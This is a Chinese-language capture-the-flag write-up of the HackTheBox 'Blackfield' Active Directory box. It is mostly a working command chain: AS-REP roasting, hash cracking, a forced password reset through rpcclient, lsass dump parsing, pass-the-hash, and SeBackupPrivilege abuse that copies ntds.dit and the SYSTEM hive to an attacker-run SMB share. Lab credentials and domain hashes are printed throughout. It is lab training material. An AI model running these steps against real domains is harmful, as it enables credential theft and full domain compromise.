Blackfield AD域+SMB+AS-REP+bloodhound+SRPC密码重置+内存取证+SeBackupPrivilege权限提升+ntds.dit+reg_system-AD域密码提取
字数 1319 2025-08-20 18:18:10
Blackfield域渗透实战教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.192 --min-rate 1000 -sC -sV -Pn
发现开放端口:
- 53/tcp: DNS服务
- 88/tcp: Kerberos服务
- 135/tcp: MSRPC
- 389/tcp: LDAP
- 445/tcp: SMB
- 593/tcp: RPC over HTTP
- 3268/tcp: LDAP全局目录
- 5985/tcp: WinRM
1.2 SMB枚举
使用smbmap枚举共享:
smbmap -H 10.10.10.192 -u 1 -r
2. AS-REP Roasting攻击
2.1 获取用户列表
从SMB枚举结果中提取用户名列表,保存到/tmp/users.txt
2.2 执行AS-REP Roasting
for user in $(cat /tmp/users.txt); do
impacket-GetNPUsers -no-pass -dc-ip 10.10.10.192 blackfield.local/$user | grep krb5asrep;
done
2.3 破解哈希
使用hashcat破解获取的AS-REP哈希:
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt --force
成功获取凭据:
- 用户名: support
- 密码: #00^BlackKnight
3. 初始访问
3.1 验证凭据
使用crackmapexec验证WinRM访问:
crackmapexec winrm 10.10.10.192 -u support -p '#00^BlackKnight'
3.2 LDAP查询
执行基本LDAP查询:
ldapsearch -H ldap://10.10.10.192 -x -s base namingcontexts
使用support账户进行详细查询:
ldapsearch -H ldap://10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight'
4. BloodHound分析
使用BloodHound.py收集域信息:
python3.12 bloodhound.py -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192
分析发现:
- AUDIT2020账户支持强制修改密码
5. 密码重置攻击
5.1 使用rpcclient重置密码
rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "RES@123"'
5.2 验证新凭据
crackmapexec winrm 10.10.10.192 -u audit2020 -p 'RES@123'
6. 内存取证提取哈希
6.1 访问SMB共享
smbmap -H 10.10.10.192 -u audit2020 -p 'RES@123' -r
发现memory_analysis目录中的lsass.zip文件
6.2 下载并分析内存转储
smb: \> cd memory_analysis
smb: \memory_analysis\> get lsass.zip
unzip lsass.zip
pypykatz lsa minidump lsass.DMP
6.3 使用提取的哈希
获取svc_backup账户的NTLM哈希:
9658d1d1dcd9250115e2205d9f48400d
使用evil-winrm连接:
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
获取user.txt:
3920bb317a0bef51027e2852be64b543
7. 权限提升(SeBackupPrivilege)
7.1 检查用户权限
whoami /priv
确认拥有SeBackupPrivilege权限
7.2 使用SeBackupPrivilege工具
上传必要的DLL文件:
upload SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
7.3 提取ntds.dit和SYSTEM注册表
设置SMB共享:
impacket-smbserver share /tmp/ -smb2support
从目标系统复制文件:
Copy-FileSeBackupPrivilege z:\Windows\ntds\ntds.dit \\10.10.16.9\share\ntds.dit
reg.exe save hklm\system \\10.10.16.9\share\system
7.4 提取域哈希
使用impacket-secretsdump:
impacket-secretsdump -system ./system -ntds ./ntds.dit LOCAL
获取的哈希包括:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:c95ac94a048e7c29ac4b4320d7c9d3b5:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
7.5 获取root.txt
4375a629c7c67c8e29db269060c955cb
8. 关键知识点总结
-
AS-REP Roasting: 针对未启用Kerberos预认证的账户的攻击方法
-
密码重置攻击: 利用rpcclient的setuserinfo2功能强制修改用户密码
-
内存取证: 通过分析lsass.exe进程内存转储提取凭证
-
SeBackupPrivilege利用:
- 允许读取系统上的任何文件
- 可用于提取ntds.dit和SYSTEM注册表
- 结合impacket-secretsdump可提取域哈希
-
域渗透路径:
- 信息收集 → AS-REP Roasting → 密码重置 → 内存取证 → 权限提升 → 域控接管
-
工具链:
- Nmap: 初始扫描
- smbmap: SMB枚举
- impacket工具集: AS-REP Roasting, secretsdump等
- BloodHound: 域关系分析
- pypykatz: 内存凭证提取
- SeBackupPrivilege工具: 特权利用